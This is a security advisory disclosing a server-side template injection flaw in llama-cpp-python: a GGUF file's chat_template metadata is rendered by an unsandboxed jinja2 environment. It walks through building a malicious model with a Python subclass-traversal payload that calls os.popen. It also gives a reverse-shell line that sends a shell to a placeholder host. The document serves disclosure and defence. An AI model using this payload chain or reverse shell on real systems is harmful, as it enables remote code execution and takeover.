GHSA-56xg-wfcc-g829 llama-cpp-python vulnerable to Remote Code Execution by Server-Side Template Injection in Model Metadata
Description`llama-cpp-python` depends on class `Llama` in `llama.py` to load `.gguf` llama.cpp or Latency Machine Learning Models. The `__init__` constructor built in the `Llama` takes several parameters to configure the loading and running of the model. Other than `NUMA, LoRa settings`, `loading tokenizers,` and `hardware settings`, `__init__` also loads the `chat template` from targeted `.gguf` 's Metadata and furtherly parses it to `llama_chat_format.Jinja2ChatFormatter.to_chat_handler()` to construct the `self.chat_handler` for this model. Nevertheless, `Jinja2ChatFormatter` parse the `chat template` within the Metadate with sandbox-less `jinja2.Environment`, which is furthermore rendered in `__call__` to construct the `prompt` of interaction. This allows `jinja2` Server Side Template Injection which leads to RCE by a carefully constructed payload.Source-to-Sink`llama.py` -> `class Llama` -> `__init__`:In `llama.py`, `llama-cpp-python` defined the fundamental class for model initialization parsing (Including `NUMA, LoRa settings`, `loading tokenizers,` and stuff ). In our case, we will be focusing on the parts where it processes `metadata`; it first checks if `chat_format` and `chat_handler` are `None` and checks if the key `tokenizer.chat_template` exists in the metadata dictionary `self.metadata`. If it exists, it will try to guess the `chat format` from the `metadata`. If the guess fails, it will get the value of `chat_template` directly from `self.metadata.self.metadata` is set during class initialization and it tries to get the metadata by calling the model's metadata() method, after that, the `chat_template` is parsed into `llama_chat_format.Jinja2ChatFormatter` as params which furthermore stored the `to_chat_handler()` as `chat_handler``llama_chat_format.py` -> `Jinja2ChatFormatter`:`self._environment =  jinja2.Environment( -> from_string(self.template) -> self._environment.render(`As we can see in `llama_chat_format.py` -> `Jinja2ChatFormatter`, the constructor `__init__` initialized required `members` inside of the class; Nevertheless, focusing on this line:Fun thing here: `llama_cpp_python` directly loads the `self.template` (`self.template = template` which is the `chat template` located in the `Metadate` that is parsed as a param) via `jinja2.Environment.from_string(` without setting any sandbox flag or using the protected `immutablesandboxedenvironment `class. This is extremely unsafe since the attacker can implicitly tell `llama_cpp_python` to load malicious `chat template` which is furthermore rendered in the `__call__` constructor, allowing RCEs or Denial-of-Service since `jinja2`'s renderer evaluates embed codes like `eval()`, and we can utilize expose method by exploring the attribution such as `__globals__`, `__subclasses__` of pretty much anything.ExploitingFor our exploitation, we first downloaded [qwen1_5-0_5b-chat-q2_k.gguf](https://huggingface.co/Qwen/Qwen1.5-0.5B-Chat-GGUF/blob/main/qwen1_5-0_5b-chat-q2_k.gguf) of `Qwen/Qwen1.5-0.5B-Chat-GGUF` on `huggingface` as the base of the exploitation, by importing the file to `Hex-compatible` editors (In my case I used the built-in `Hex editor` or `vscode`), you can try to search for key `chat_template` (imported as `template = self.metadata["tokenizer.chat_template"]` in `llama-cpp-python`):`qwen1_5-0_5b-chat-q2_k.gguf` appears to be using the OG `role+message` and using the fun `jinja2` syntax. By first replacing the original `chat_template` in `\x00`, then inserting our SSTI payload. We constructed this payload which firstly iterates over the subclasses of the base class of all classes in Python. The expression `().__class__.__base__.__subclasses__()` retrieves a list of all subclasses of the basic `object` class and then we check if its `warning` by `if "warning" in x.__name__`, if it is , we access its module via the `_module` attribute then access Python's built-in functions through `__builtins__` and uses the `__import__` function to import the `os` module and finally we called `os.popen` to `touch /tmp/retr0reg`, create an empty file call `retr0reg` under `/tmp/`in real life exploiting instance, we can change `touch /tmp/retr0reg` into arbitrary codes like `sh -i >& /dev/tcp/<HOST>/<PORT> 0>&1` to create a reverse shell connection to specified host, in our case we are using `touch /tmp/retr0reg` to showcase the exploitability of this vulnerability.After these steps, we got ourselves a malicious model with an embedded payload in `chat_template` of the `metahead`, in which will be parsed and rendered by `llama.py:class Llama:init ->  self.chat_handler `-> `llama_chat_format.py:Jinja2ChatFormatter:init ->  self._environment = jinja2.Environment(` -> ``llama_chat_format.py:Jinja2ChatFormatter:call -> self._environment.render(`*(The uploaded malicious model file is in https://huggingface.co/Retr0REG/Whats-up-gguf )*Now when the model is loaded whether as ` Llama.from_pretrained` or `Llama` and chatted, our malicious code in the `chat_template` of the `metahead` will be triggered and execute arbitrary code.PoC video here: https://drive.google.com/file/d/1uLiU-uidESCs_4EqXDiyKR1eNOF1IUtb/view?usp=sharing
CVSS v3.1 score: 9.6